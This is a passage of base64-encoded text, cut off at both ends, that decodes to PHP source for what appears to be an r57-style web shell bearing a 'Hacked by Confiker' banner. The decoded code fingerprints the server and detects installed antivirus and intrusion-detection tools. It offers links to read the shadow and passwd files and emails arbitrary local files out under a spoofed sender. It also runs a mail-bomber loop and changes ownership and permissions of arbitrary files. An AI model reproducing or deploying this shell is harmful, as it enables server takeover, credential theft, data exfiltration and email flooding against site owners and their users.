d3MoMik7DQplY2hvICJTYWZlX21vZGU6IDxiPiI7DQplY2hvICgoJHNhZmVfbW9kZSk/KCI8Zm9u dCBjb2xvcj1yZWQ+T048L2ZvbnQ+Iik6KCI8Zm9udCBjb2xvcj1ncmVlbj5PRkY8L2ZvbnQ+Iikp Ow0KZWNobyAiPC9iPiIud3MoMik7DQplY2hvICJPcGVuX2Jhc2VkaXI6IDxiPiI7DQppZigkb3Bl bl9iYXNlZGlyKSB7aWYgKCcnPT0oJGRmPUBpbmlfZ2V0KCdvcGVuX2Jhc2VkaXInKSkpIHtlY2hv ICI8Zm9udCBjb2xvcj1yZWQ+aW5pX2dldCBkaXNhYmxlITwvZm9udD48L2I+Ijt9ZWxzZSB7ZWNo byAiPGZvbnQgY29sb3I9Z3JlZW4+JGRmPC9mb250PjwvYj4iO307fQ0KZWxzZSB7ZWNobyAiPGZv bnQgY29sb3I9Z3JlZW4+Tk9ORTwvZm9udD48L2I+Ijt9DQplY2hvIHdzKDIpLiJTYWZlX21vZGVf ZXhlY19kaXI6IDxiPiI7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHtpZiAoJyc9 PSgkZGY9QGluaV9nZXQoJ3NhZmVfbW9kZV9leGVjX2RpcicpKSkge2VjaG8gIjxmb250IGNvbG9y PXJlZD5OT05FPC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj4kZGY8 L2ZvbnQ+PC9iPiI7fTt9DQplbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+aW5pX2dldCBkaXNh YmxlITwvZm9udD48L2I+Ijt9DQplY2hvIHdzKDIpLiJTYWZlX21vZGVfaW5jbHVkZV9kaXI6IDxi PiI7DQppZihAZnVuY3Rpb25fZXhpc3RzKCdpbmlfZ2V0JykpIHtpZiAoJyc9PSgkZGY9QGluaV9n ZXQoJ3NhZmVfbW9kZV9pbmNsdWRlX2RpcicpKSkge2VjaG8gIjxmb250IGNvbG9yPXJlZD5OT05F PC9mb250PjwvYj4iO31lbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj4kZGY8L2ZvbnQ+PC9i PiI7fTt9DQplbHNlIHtlY2hvICI8Zm9udCBjb2xvcj1yZWQ+aW5pX2dldCBkaXNhYmxlITwvZm9u dD48L2I+Ijt9DQplY2hvICI8YnI+Ii53cygyKTsNCmVjaG8gIkRpc2FibGUgZnVuY3Rpb25zIDog PGI+IjskZGY9J2luaV9nZXQgIGRpc2FibGUhJzsNCmlmKChAZnVuY3Rpb25fZXhpc3RzKCdpbmlf Z2V0JykpICYmKCcnPT0oJGRmPUBpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpKSkpe2VjaG8g Ijxmb250IGNvbG9yPXJlZD5OT05FPC9mb250PjwvYj4iO31lbHNle2VjaG8gIjxmb250IGNvbG9y PXJlZD4kZGY8L2ZvbnQ+PC9iPiI7fQ0KJGZyZWUgPSBAZGlza2ZyZWVzcGFjZSgkZGlyKTsNCmlm ICghJGZyZWUpIHskZnJlZSA9IDA7fQ0KJGFsbCA9IEBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpOw0K aWYgKCEkYWxsKSB7JGFsbCA9IDA7fQ0KZWNobyAiPGJyPiIud3MoMikuIkZyZWUgc3BhY2UgOiA8 Yj4iLnZpZXdfc2l6ZSgkZnJlZSkuIjwvYj4gVG90YWwgc3BhY2U6IDxiPiIudmlld19zaXplKCRh bGwpLiI8L2I+IjsNCiR1c3Q9Jyc7DQppZigkdW5peCAmJiEkc2FmZV9tb2RlKXsNCmlmICh3aGlj aCgnZ2NjJykpIHskdXN0Lj0iZ2NjLCI7fQ0KaWYgKHdoaWNoKCdjYycpKSB7JHVzdC49ImNjLCI7 fQ0KaWYgKHdoaWNoKCdsZCcpKSB7JHVzdC49ImxkLCI7fQ0KaWYgKHdoaWNoKCdwaHAnKSkgeyR1 c3QuPSJwaHAsIjt9DQppZiAod2hpY2goJ3BlcmwnKSkgeyR1c3QuPSJwZXJsLCI7fQ0KaWYgKHdo aWNoKCdweXRob24nKSkgeyR1c3QuPSJweXRob24sIjt9DQppZiAod2hpY2goJ3J1YnknKSkgeyR1 c3QuPSJydWJ5LCI7fQ0KaWYgKHdoaWNoKCdtYWtlJykpIHskdXN0Lj0ibWFrZSwiO30NCmlmICh3 aGljaCgndGFyJykpIHskdXN0Lj0idGFyLCI7fQ0KaWYgKHdoaWNoKCduYycpKSB7JHVzdC49Im5l dGNhdCwiO30NCmlmICh3aGljaCgnbG9jYXRlJykpIHskdXN0Lj0ibG9jYXRlLCI7fQ0KaWYgKHdo aWNoKCdzdWlkcGVybCcpKSB7JHVzdC49InN1aWRwZXJsLCI7fQ0KfQ0KaWYgKEBmdW5jdGlvbl9l eGlzdHMoJ3BjbnRsX2V4ZWMnKSkgeyR1c3QuPSJwY250bF9leGVjLCI7fQ0KaWYoJHVzdCl7ZWNo byAiPGJyPiIud3MoMikuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzNyddLiI6IDxmb250IGNvbG9y PWJsdWU+Ii4kdXN0LiI8L2ZvbnQ+Ijt9DQokdXN0PScnOw0KaWYoJHVuaXggJiYhJHNhZmVfbW9k ZSl7DQppZiAod2hpY2goJ2thdicpKSB7JHVzdC49ImthdiwiO30NCmlmICh3aGljaCgnbm9kMzIn KSkgeyR1c3QuPSJub2QzMiwiO30NCmlmICh3aGljaCgnYmRjb3JlZCcpKSB7JHVzdC49ImJpdGRl ZmVuZGVyLCI7fQ0KaWYgKHdoaWNoKCd1dnNjYW4nKSkgeyR1c3QuPSJtY2FmZWUsIjt9DQppZiAo d2hpY2goJ3NhdicpKSB7JHVzdC49InN5bWFudGVjLCI7fQ0KaWYgKHdoaWNoKCdkcndlYmQnKSkg eyR1c3Q9ImRyd2ViZCwiO30NCmlmICh3aGljaCgnY2xhbWQnKSkgeyR1c3QuPSJjbGFtZCwiO30N CmlmICh3aGljaCgncmtodW50ZXInKSkgeyR1c3QuPSJya2h1bnRlciwiO30NCmlmICh3aGljaCgn Y2hrcm9vdGtpdCcpKSB7JHVzdC49ImNoa3Jvb3RraXQsIjt9DQppZiAod2hpY2goJ2lwdGFibGVz JykpIHskdXN0Lj0iaXB0YWJsZXMsIjt9DQppZiAod2hpY2goJ2lwZncnKSkgeyR1c3QuPSJpcGZ3 LCI7fQ0KaWYgKHdoaWNoKCd0cmlwd2lyZScpKSB7JHVzdC49InRyaXB3aXJlLCI7fQ0KaWYgKHdo aWNoKCdzaGllbGRjYycpKSB7JHVzdC49InN0YWNrc2hpZWxkLCI7fQ0KaWYgKHdoaWNoKCdwb3J0 c2VudHJ5JykpIHskdXN0Lj0icG9ydHNlbnRyeSwiO30NCmlmICh3aGljaCgnc25vcnQnKSkgeyR1 c3QuPSJzbm9ydCwiO30NCmlmICh3aGljaCgnb3NzZWMnKSkgeyR1c3QuPSJvc3NlYywiO30NCmlm ICh3aGljaCgnbGlkc2FkbScpKSB7JHVzdC49ImxpZHNhZG0sIjt9DQppZiAod2hpY2goJ3RjcGxv ZGcnKSkgeyR1c3QuPSJ0Y3Bsb2RnLCI7fQ0KaWYgKHdoaWNoKCd0cmlwd2lyZScpKSB7JHVzdC49 InRyaXB3aXJlLCI7fQ0KaWYgKHdoaWNoKCdzeGlkJykpIHskdXN0Lj0ic3hpZCwiO30NCmlmICh3 aGljaCgnbG9nY2hlY2snKSkgeyR1c3QuPSJsb2djaGVjaywiO30NCmlmICh3aGljaCgnbG9nd2F0 Y2gnKSkgeyR1c3QuPSJsb2d3YXRjaCwiO30NCn0NCmlmIChAZnVuY3Rpb25fZXhpc3RzKCdhcGFj aGVfZ2V0X21vZHVsZXMnKSAmJkBpbl9hcnJheSgnbW9kX3NlY3VyaXR5JyxhcGFjaGVfZ2V0X21v ZHVsZXMoKSkpIHskdXN0Lj0ibW9kX3NlY3VyaXR5LCI7fQ0KaWYoJHVzdCl7ZWNobyAiPGJyPiIu d3MoMikuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEzOCddLiI6IDxmb250IGNvbG9yPXJlZD4kdXN0 PC9mb250PiI7fQ0KZWNobyAiPGJyPiIud3MoMikuIjwvYj4iOw0KZWNobyB3cygyKS4kbGIuIiA8 YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmZvIHRpdGxlPVwiIi4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0NDYnXS4iXCI+PGI+cGhwaW5mbzwvYj48L2E+ICIuJHJiOw0KZWNobyB3 cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9waHBpbmkgdGl0bGU9 XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0NyddLiJcIj48Yj5waHAuaW5pPC9iPjwvYT4gIi4k cmI7DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2Nw dSB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDUwJ10uIlwiPjxiPmNwdTwvYj48L2E+ ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10u Ij9tZW0gdGl0bGU9XCIiLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1MSddLiJcIj48Yj5tZW08L2I+ PC9hPiAiLiRyYjsNCmlmKCEkdW5peCkgew0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9T RVJWRVJbJ1BIUF9TRUxGJ10uIj9zeXN0ZW1pbmZvIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2Uu J190ZXh0NTAnXS4iXCI+PGI+c3lzdGVtaW5mbzwvYj48L2E+ICIuJHJiOw0KfWVsc2V7DQplY2hv IHdzKDIpLiRsYi4iIDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3N5c2xvZyB0aXRs ZT1cIlZpZXcgc3lzbG9nLmNvbmZcIj48Yj5zeXNsb2c8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3Mo MikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cmVzb2x2IHRpdGxlPVwi VmlldyByZXNvbHZcIj48Yj5yZXNvbHY8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIg PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/aG9zdHMgdGl0bGU9XCJWaWV3IGhvc3Rz XCI+PGI+aG9zdHM8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRf U0VSVkVSWydQSFBfU0VMRiddLiI/c2hhZG93IHRpdGxlPVwiVmlldyBzaGFkb3dcIj48Yj5zaGFk b3c8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQ SFBfU0VMRiddLiI/cGFzc3dkIHRpdGxlPVwiIi4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4i XCI+PGI+cGFzc3dkPC9iPjwvYT4gIi4kcmI7DQp9DQplY2hvIHdzKDIpLiRsYi4iIDxhIGhyZWY9 Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP3RtcCB0aXRsZT1cIiIuJGxhbmdbJGxhbmd1YWdlLidf dGV4dDQ4J10uIlwiPjxiPnRtcDwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBo cmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9kZWxldGUgdGl0bGU9XCIiLiRsYW5nWyRsYW5n dWFnZS4nX3RleHQ0OSddLiJcIj48Yj5kZWxldGU8L2I+PC9hPiAiLiRyYjsNCmlmKCR1bml4ICYm ISRzYWZlX21vZGUpIA0Kew0KZWNobyAiPGJyPiIud3MoMikuIjwvYj4iOw0KZWNobyB3cygyKS4k bGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9wcm9jaW5mbyB0aXRsZT1cIlZp ZXcgcHJvY2luZm9cIj48Yj5wcm9jaW5mbzwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIu IiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj92ZXJzaW9uIHRpdGxlPVwiVmlldyBw cm9jIHZlcnNpb25cIj48Yj52ZXJzaW9uPC9iPjwvYT4gIi4kcmI7DQplY2hvIHdzKDIpLiRsYi4i IDxhIGhyZWY9Ii4kX1NFUlZFUlsnUEhQX1NFTEYnXS4iP2ZyZWUgdGl0bGU9XCJWaWV3IG1lbSBm cmVlXCI+PGI+ZnJlZTwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIu JF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9kbWVzZyg4KSB0aXRsZT1cIlZpZXcgZG1lc2dcIj48Yj5k bWVzZzwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJb J1BIUF9TRUxGJ10uIj92bXN0YXQgdGl0bGU9XCJWaWV3IHZtc3RhdFwiPjxiPnZtc3RhdDwvYj48 L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxG J10uIj9sc3BjaSB0aXRsZT1cIlZpZXcgbHNwY2lcIj48Yj5sc3BjaTwvYj48L2E+ICIuJHJiOw0K ZWNobyB3cygyKS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9sc2RldiB0 aXRsZT1cIlZpZXcgbHNkZXZcIj48Yj5sc2RldjwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4k bGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9pbnRlcnJ1cHRzIHRpdGxlPVwi VmlldyBpbnRlcnJ1cHRzXCI+PGI+aW50ZXJydXB0czwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygy KS4kbGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9yZWFsaXNlMSB0aXRsZT1c IlZpZXcgcmVhbGlzZTFcIj48Yj5yZWFsaXNlMTwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4k bGIuIiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9yZWFsaXNlMiB0aXRsZT1cIlZp ZXcgcmVhbGlzZTJcIj48Yj5yZWFsaXNlMjwvYj48L2E+ICIuJHJiOw0KZWNobyB3cygyKS4kbGIu IiA8YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj9sc2F0dHIgdGl0bGU9XCJWaWV3IGxz YXR0ciAtdmFcIj48Yj5sc2F0dHI8L2I+PC9hPiAiLiRyYjsNCmVjaG8gIjxicj4iLndzKDIpLiI8 L2I+IjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/ dyB0aXRsZT1cIlZpZXcgd1wiPjxiPnc8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIg PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/d2hvIHRpdGxlPVwiVmlldyB3aG9cIj48 Yj53aG88L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVS WydQSFBfU0VMRiddLiI/dXB0aW1lIHRpdGxlPVwiVmlldyB1cHRpbWVcIj48Yj51cHRpbWU8L2I+ PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VM RiddLiI/bGFzdCB0aXRsZT1cIlZpZXcgbGFzdCAtbiAxMFwiPjxiPmxhc3Q8L2I+PC9hPiAiLiRy YjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/cHNh dXggdGl0bGU9XCJWaWV3IHBzIC1hdXhcIj48Yj5wcyBhdXg8L2I+PC9hPiAiLiRyYjsNCmVjaG8g d3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/c2VydmljZSB0aXRs ZT1cIlZpZXcgc2VydmljZVwiPjxiPnNlcnZpY2U8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMiku JGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/aWZjb25maWcgdGl0bGU9XCJW aWV3IGlmY29uZmlnXCI+PGI+aWZjb25maWc8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxi LiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/bmV0c3RhdCB0aXRsZT1cIlZpZXcg bmV0c3RhdCAtYVwiPjxiPm5ldHN0YXQ8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIg PGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMRiddLiI/ZnN0YWIgdGl0bGU9XCJWaWV3IGZzdGFi XCI+PGI+ZnN0YWI8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRf U0VSVkVSWydQSFBfU0VMRiddLiI/ZmRpc2sgdGl0bGU9XCJWaWV3IGZkaXNrIC1sXCI+PGI+ZmRp c2s8L2I+PC9hPiAiLiRyYjsNCmVjaG8gd3MoMikuJGxiLiIgPGEgaHJlZj0iLiRfU0VSVkVSWydQ SFBfU0VMRiddLiI/ZGYgdGl0bGU9XCJWaWV3IGRmIC1oXCI+PGI+ZGYgLWg8L2I+PC9hPiAiLiRy YjsNCn0NCmVjaG8gJzwvZm9udD48L3RkPjwvdHI+PHRhYmxlPg0KPHRhYmxlIHdpZHRoPTEwMCUg Y2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwODAwMD4NCjx0cj48dGQgYWxp Z249cmlnaHQgd2lkdGg9ODA+JzsNCmVjaG8gJGZvbnQ7DQppZigkdW5peCl7DQplY2hvICc8Zm9u dCBjb2xvcj1ibHVlPjxiPnVuYW1lIC1hIDonLndzKDEpLic8YnI+c3lzY3RsIDonLndzKDEpLic8 YnI+JE9TVFlQRSA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPmlkIDonLndzKDEp Lic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOw0KZWNobyAiPC90ZD48dGQ+IjsN CmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj4iOw0KZWNobygo IWVtcHR5KCR1bmFtZSkpPyh3cygzKS5Ac3Vic3RyKCR1bmFtZSwwLDEyMCkuIjxicj4iKTood3Mo MykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IikpOw0KZWNobyB3cygzKS4kc3lz Y3RsLiI8YnI+IjsNCmVjaG8gd3MoMykuZXgoJ2VjaG8gJE9TVFlQRScpLiI8YnI+IjsNCmVjaG8g d3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iPGJyPiI7DQppZighZW1wdHko JGlkKSkge2VjaG8gd3MoMykuJGlkLiI8YnI+Ijt9DQplbHNlIGlmKEBmdW5jdGlvbl9leGlzdHMo J3Bvc2l4X2dldGV1aWQnKSAmJkBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSAmJkBm dW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykgJiZAZnVuY3Rpb25fZXhpc3RzKCdwb3Np eF9nZXRwd3VpZCcpKQ0Kew0KJGV1c2VyaW5mbyAgPSBAcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dl dGV1aWQoKSk7DQokZWdyb3VwaW5mbyA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgp KTsNCmVjaG8gd3MoMykuJ3VpZD0nLiRldXNlcmluZm9bJ3VpZCddLicgKCAnLiRldXNlcmluZm9b J25hbWUnXS4nICkgZ2lkPScuJGVncm91cGluZm9bJ2dpZCddLicgKCAnLiRlZ3JvdXBpbmZvWydu YW1lJ10uJyApPGJyPic7DQp9DQplbHNlIGVjaG8gd3MoMykuInVzZXI9Ii5AZ2V0X2N1cnJlbnRf dXNlcigpLiIgdWlkPSIuQGdldG15dWlkKCkuIiBnaWQ9Ii5AZ2V0bXlnaWQoKS4iPGJyPiI7DQpl Y2hvIHdzKDMpLiRkaXI7DQplY2hvIHdzKDMpLicoICcucGVybXMoQGZpbGVwZXJtcygkZGlyKSku JyApJzsNCmVjaG8gIjwvYj48L2ZvbnQ+IjsNCn0NCmVsc2UNCnsNCmVjaG8gJzxmb250IGNvbG9y PWJsdWU+PGI+T1MgOicud3MoMSkuJzxicj5TZXJ2ZXIgOicud3MoMSkuJzxicj5Vc2VyIDonLndz KDEpLic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOw0KZWNobyAiPC90ZD48dGQ+ IjsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPXJlZD48Yj4iOw0KZWNo byB3cygzKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iOw0KZWNobyB3cygzKS5A c3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQGdldGVu digiVVNFUk5BTUUiKS4iPGJyPiI7DQplY2hvIHdzKDMpLiRkaXI7DQplY2hvICI8YnI+PC9mb250 PiI7DQp9DQplY2hvICI8L2ZvbnQ+IjsNCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQoNCmVj aG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9y PSMwMDAwMDA+DQo8dHI+PHRkPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPTQ+PGRpdiBhbGlnbj1j ZW50ZXI+PGI+IjsNCmVjaG8gIjxtYXJxdWVlPiI7DQplY2hvICI8Zm9udCBjb2xvcj1yZWQ+SGFj a2VkIDxmb250IGNvbG9yPXllbGxvdz5ieSA8Zm9udCBjb2xvcj0jMDBGRjAwPkNvbmZpY2tlciA8 Zm9udCBjb2xvcj1ibHVlPi0gIjsNCmVjaG8gIjxmb250IGNvbG9yPXJlZD5wbGFORVRXT1JLIDxm b250IGNvbG9yPXllbGxvdz5URUFNIDxmb250IGNvbG9yPSMwMEZGMDA+ITwvZm9udD4iOw0KZWNo byAiPC9tYXJxdWVlPjwvZm9udD48L2ZvbnQ+PC9mb250PjwvZm9udD48L2ZvbnQ+PC9mb250PiI7 DQplY2hvICI8L2Rpdj48L2I+PC90YWJsZT4iOw0KDQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkg JiYkX1BPU1RbJ2NtZCddPT0ibWFpbCIpDQp7DQokcmVzID0gbWFpbCgkX1BPU1RbJ3RvJ10sJF9Q T1NUWydzdWJqJ10sJF9QT1NUWyd0ZXh0J10sIkZyb206ICIuJF9QT1NUWydmcm9tJ10uIlxyXG4i KTsNCmVycig2KyRyZXMpOw0KJF9QT1NUWydjbWQnXT0iIjsNCn0NCmlmKCFlbXB0eSgkX1BPU1Rb J2NtZCddKSAmJiRfUE9TVFsnY21kJ109PSJtYWlsX2ZpbGUiJiYhZW1wdHkoJF9QT1NUWydsb2Nf ZmlsZSddKSkNCnsNCmlmKCRmaWxlPUBmb3BlbigkX1BPU1RbJ2xvY19maWxlJ10sInIiKSl7JGZp bGVkdW1wID0gQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2xvY19maWxlJ10pKTtAZmNs b3NlKCRmaWxlKTt9DQplbHNlIGlmICgkZmlsZT1yZWFkemxpYigkX1BPU1RbJ2xvY19maWxlJ10p KSB7JGZpbGVkdW1wID0gJGZpbGU7fWVsc2Uge2VycigxLCRfUE9TVFsnbG9jX2ZpbGUnXSk7JF9Q T1NUWydjbWQnXT0iIjt9DQppZihpc3NldCgkX1BPU1RbJ2NtZCddKSkgDQp7DQokZmlsZW5hbWUg PSBAYmFzZW5hbWUoJF9QT1NUWydsb2NfZmlsZSddKTsNCiRjb250ZW50X2VuY29kaW5nPSRtaW1l X3R5cGU9Jyc7DQpjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3Mn XSk7DQokYXR0YWNoID0gYXJyYXkoDQoibmFtZSI9PiRmaWxlbmFtZSwNCiJ0eXBlIj0+JG1pbWVf dHlwZSwNCiJjb250ZW50Ij0+JGZpbGVkdW1wDQopOw0KaWYoZW1wdHkoJF9QT1NUWydzdWJqJ10p KSB7JF9QT1NUWydzdWJqJ10gPSAnZmlsZSBmcm9tIHI1Nyc7fQ0KaWYoZW1wdHkoJF9QT1NUWydm cm9tJ10pKSB7JF9QT1NUWydmcm9tJ10gPSAnYmlsbHlAbWljcm9zb2Z0LmNvbSc7fQ0KJHJlcyA9 IG1haWxhdHRhY2goJF9QT1NUWyd0byddLCRfUE9TVFsnZnJvbSddLCRfUE9TVFsnc3ViaiddLCRh dHRhY2gpOw0KZXJyKDYrJHJlcyk7DQokX1BPU1RbJ2NtZCddPSIiOw0KfQ0KfQ0KaWYoIWVtcHR5 KCRfUE9TVFsnY21kJ10pICYmJF9QT1NUWydjbWQnXT09Im1haWxfYm9tYmVyIiYmIWVtcHR5KCRf UE9TVFsnbWFpbF9mbG9vZCddKSAmJiFlbXB0eSgkX1BPU1RbJ21haWxfc2l6ZSddKSkNCnsNCmZv cigkaD0xOyRoPD0kX1BPU1RbJ21haWxfZmxvb2QnXTskaCsrKXsNCiRyZXMgPSBtYWlsKCRfUE9T VFsndG8nXSwkX1BPU1RbJ3N1YmonXSwkX1BPU1RbJ3RleHQnXS5zdHJfcmVwZWF0KCIgIiwxMDI0 KiRfUE9TVFsnbWFpbF9zaXplJ10pLCJGcm9tOiAiLiRfUE9TVFsnZnJvbSddLiJcclxuIik7DQp9 DQplcnIoNiskcmVzKTsNCiRfUE9TVFsnY21kJ109IiI7DQp9DQppZighZW1wdHkoJF9QT1NUWydj bWQnXSkgJiYkX1BPU1RbJ2NtZCddID09ICJmaW5kX3RleHQiKQ0Kew0KJF9QT1NUWydjbWQnXSA9 ICdmaW5kICcuJF9QT1NUWydzX2RpciddLicgLW5hbWUgXCcnLiRfUE9TVFsnc19tYXNrJ10uJ1wn IHwgeGFyZ3MgZ3JlcCAtRSBcJycuJF9QT1NUWydzX3RleHQnXS4nXCcnOw0KfQ0KaWYoIWVtcHR5 KCRfUE9TVFsnY21kJ10pICYmJF9QT1NUWydjbWQnXT09ImNoXyIpDQp7DQpzd2l0Y2goJF9QT1NU Wyd3aGF0J10pDQp7DQpjYXNlICdvd24nOg0KQGNob3duKCRfUE9TVFsncGFyYW0xJ10sJF9QT1NU WydwYXJhbTInXSk7DQpicmVhazsNCmNhc2UgJ2dycCc6DQpAY2hncnAoJF9QT1NUWydwYXJhbTEn XSwkX1BPU1RbJ3BhcmFtMiddKTsNCmJyZWFrOw0KY2FzZSAnbW9kJzoNCkBjaG1vZCgkX1BPU1Rb J3BhcmFtMSddLGludHZhbCgkX1BPU1RbJ3BhcmFtMiddLDgpKTsNCmJyZWFrOw0KfQ0KJF9QT1NU WydjbWQnXT0iIjsNCn0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiRfUE9TVFsnY21kJ109 PSJtayIpDQp7DQpzd2l0Y2goJF9QT1NUWyd3aGF0J10pDQp7DQpjYXNlICdmaWxlJzoNCmlmKCRf UE9TVFsnYWN0aW9uJ10gPT0gImNyZWF0ZSIpDQp7DQppZihAZmlsZV9leGlzdHMoJF9QT1NUWydt a19uYW1lJ10pIHx8ISRmaWxlPUBmb3BlbigkX1BPU1RbJ21rX25hbWUnXSwidyIpKSB7ZXJyKDIs JF9QT1NUWydta19uYW1lJ10pOyRfUE9TVFsnY21kJ109IiI7fQ0KZWxzZSB7DQpAZmNsb3NlKCRm aWxlKTsNCiRfUE9TVFsnZV9uYW1lJ10gPSAkX1BPU1RbJ21rX25hbWUnXTsNCiRfUE9TVFsnY21k J109ImVkaXRfZmlsZSI7DQplY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNl bGxzcGFjaW5nPTAgYmdjb2xvcj0jMDA4MDAwPjx0cj48dGQgYmdjb2xvcj0jMzMzMzMzPjxkaXYg YWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1 YWdlLidfdGV4dDYxJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCn0N Cn0NCmVsc2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIikNCnsNCmlmKHVubGluaygk 